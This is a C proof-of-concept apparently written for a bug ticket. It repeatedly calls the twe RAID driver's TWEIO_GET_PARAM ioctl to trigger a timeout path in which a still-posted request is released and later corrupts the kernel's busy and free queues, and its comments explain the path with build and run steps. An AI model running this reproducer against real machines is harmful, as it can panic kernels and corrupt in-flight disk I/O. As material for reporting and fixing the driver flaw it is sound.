/*
 * DF-4178 PoC - twe_immediate_request timeout releases a request that is
 * still posted to the controller and linked on the busy queue.
 *
 * Trigger path (kernel):
 *   ioctl(/dev/tweN, TWEIO_GET_PARAM)
 *     -> twe_ioctl (twe.c:637)
 *     -> twe_get_param (twe.c:770, func == NULL)
 *     -> twe_immediate_request (twe.c:981)
 *          posts the command, then polls for at most 5 s (twe.c:1003)
 *     -> on timeout returns 1
 *     -> twe_get_param err: twe_release_request(tr) (twe.c:830)
 *          while tr is STILL on twe_busy (double-linked busy+free)
 *
 * If the controller completes the command late (it is still posted), the
 * completion is processed through the reused request:
 *   twe_done (twe.c:1199) -> twe_lookup[id] (now owned by another user)
 *   -> tr->tr_status = TWE_CMD_COMPLETE      (clobbers new owner's state)
 *   -> twe_remove_busy(tr)                   (TAILQ_REMOVE on a request
 *                                             that is NOT on twe_busy ->
 *                                             writes through stale
 *                                             tr_link pointers)
 *   -> twe_enqueue_complete(tr) / twe_complete()
 *   -> completion callback of the *new* owner runs (e.g. twe_completeio ->
 *      biodone on a bio that is still in flight).
 *
 * This program just drives TWEIO_GET_PARAM in a loop (each iteration is one
 * immediate request).  On hardware whose parameter commands can take >5 s
 * (e.g. a controller busy rebuilding, or a faulted device), the timeout
 * fires; the subsequent late completion is what corrupts the driver queues.
 *
 * Expected on affected hardware: after enough iterations with late
 * completions, "completion event for nonbusy command" on the console
 * followed by queue corruption (panic / biodone on stale bio).
 *
 * Build:  cc -O -o twe_getparam_timeout twe_getparam_timeout.c
 * Run:    ./twe_getparam_timeout /dev/twe0 [iterations]
 *
 * Requires the /dev/tweN control node (root:operator 0600).
 */
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

/* mirror of sys/dev/raid/twe/tweio.h - identical layout => identical
 * ioctl command numbers */
struct twe_paramcommand {
	unsigned short	tp_table_id;
	unsigned char	tp_param_id;
	void	       *tp_data;
	unsigned char	tp_size;
};

#define TWEIO_GET_PARAM		_IOW ('T', 105, struct twe_paramcommand)

#define TWE_PARAM_VERSION	0x0402
#define TWE_PARAM_VERSION_FW	3	/* firmware version string [16] */

int
main(int argc, char **argv)
{
	struct twe_paramcommand tp;
	char data[256];
	char *dev = argv[1] ? argv[1] : "/dev/twe0";
	int iters = argc > 2 ? atoi(argv[2]) : 1000;
	int fd, i, errors = 0, timeouts = 0;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", dev, strerror(errno));
		exit(1);
	}
	for (i = 0; i < iters; i++) {
		memset(&tp, 0, sizeof(tp));
		memset(data, 0, sizeof(data));
		tp.tp_table_id = TWE_PARAM_VERSION;
		tp.tp_param_id = TWE_PARAM_VERSION_FW;
		tp.tp_size = 16;
		tp.tp_data = data;
		if (ioctl(fd, TWEIO_GET_PARAM, &tp) < 0) {
			if (errno == ETIMEDOUT || errno == EIO)
				timeouts++;	/* twe_immediate_request gave up */
			errors++;
		}
	}
	printf("%s: %d iterations, %d errors, %d suspected timeouts\n",
	       dev, iters, errors, timeouts);
	printf("watch the console for 'completion event for nonbusy command'\n");
	close(fd);
	return (0);
}
